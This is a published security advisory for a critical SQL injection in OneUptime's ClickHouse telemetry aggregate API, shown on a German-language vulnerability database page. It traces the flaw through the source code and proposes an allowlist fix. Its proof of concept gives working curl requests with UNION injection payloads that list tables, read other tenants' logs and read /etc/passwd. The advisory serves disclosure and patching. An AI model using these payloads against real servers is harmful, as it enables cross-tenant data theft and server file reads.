Kritisch

OneUptime ClickHouse SQL Injection via Aggregate Query Parameters

  • Veröffentlicht: 13.03.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.

Details

Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:

The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:

ts
// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
    req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;

No schema validation is applied to aggregateBy. The object flows directly to the database service.

No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:

ts
// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
    // Only truthiness check — no allowlist
}

The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).

Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:

ts
// StatementGenerator.ts:527
statement.append(
    `${aggregationType}(${aggregateColumnName}) as aggregationResult`
);

The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:

ts
// Statement.ts:149-151
public append(text: string): Statement {
    this.query += text; // Raw concatenation — "trusted SQL"
    return this;
}

Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:

ts
statement.append(
    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);

Attack flow:

  1. Authenticated user sends POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate)
  2. Request body contains aggregateBy.aggregationType set to a SQL injection payload
  3. Payload passes truthiness check at line 276
  4. Payload is concatenated into SQL via .append() at line 527
  5. ClickHouse executes the injected SQL

PoC

bash
# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'

# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'

# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "aggregateBy": {
      "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\''/etc/passwd'\'') --",
      "aggregateColumnName": "serviceId",
      "aggregationTimestampColumnName": "createdAt"
    },
    "query": {}
  }'
bash
# Verify the vulnerability in source code:

# 1. No allowlist for aggregationType:
grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5
# Line 276: if (aggregateBy.aggregationType) { — truthiness only

# 2. Raw SQL concatenation:
grep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts
# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`

# 3. .append() is raw concatenation:
grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts
# this.query += text; — "trusted SQL"

# 4. No validation at API layer:
grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist'
# 0

Impact

Full ClickHouse database compromise. An authenticated user (any role) can:

  1. Cross-tenant data theft — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own
  2. Data manipulation — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users
  3. Server-side file read — Via ClickHouse's file() table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem
  4. Remote code execution — Via ClickHouse's url() table function, make HTTP requests from the server (SSRF), or via executable() table function, execute OS commands
  5. Credential theft — ClickHouse default configuration (default user, password from env) could be leveraged to connect directly

The vulnerability requires only basic authentication (any registered user), making it exploitable at scale.

Proposed Fix

ts
// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:
const ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];

if (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {
    throw new BadRequestException(
        `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +
        `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`
    );
}

// 2. Validate aggregateColumnName against the model's known columns:
const modelColumns = model.getColumnNames(); // or similar accessor
if (!modelColumns.includes(aggregateBy.aggregateColumnName)) {
    throw new BadRequestException(
        `Invalid column: ${aggregateBy.aggregateColumnName}`
    );
}

// 3. Same for aggregationTimestampColumnName:
if (aggregateBy.aggregationTimestampColumnName &&
    !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {
    throw new BadRequestException(
        `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`
    );
}

// 4. Use parameterized queries where possible:
statement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);
statement.addParameter('aggregationType', aggregateBy.aggregationType);
statement.addParameter('columnName', aggregateBy.aggregateColumnName);

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket oneuptime < 10.0.23 10.0.23

Verweise

CVSS-Wert 9.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Schwäche (CWE)
CWE-89
Plattform
npm
Paket
oneuptime
Veröffentlicht
13.03.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-p5g2-jm85-8g35 - CC BY 4.0

Schwachstellenhistorie: oneuptime

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
5
Erste → letzte
03.2026 03.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 3
  • Mittel 1

Veröffentlichungen pro Jahr

  1. 2026: 5
  1. Hoch CVE-2026-33143 < 10.0.34 10.0.34
  2. Mittel CVE-2026-32598 < 10.0.23 10.0.23
  3. OneUptime ClickHouse SQL Injection via Aggregate Query Parameters dieser Eintrag
    Kritisch · 9.9 CVE-2026-32306 < 10.0.23 10.0.23

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.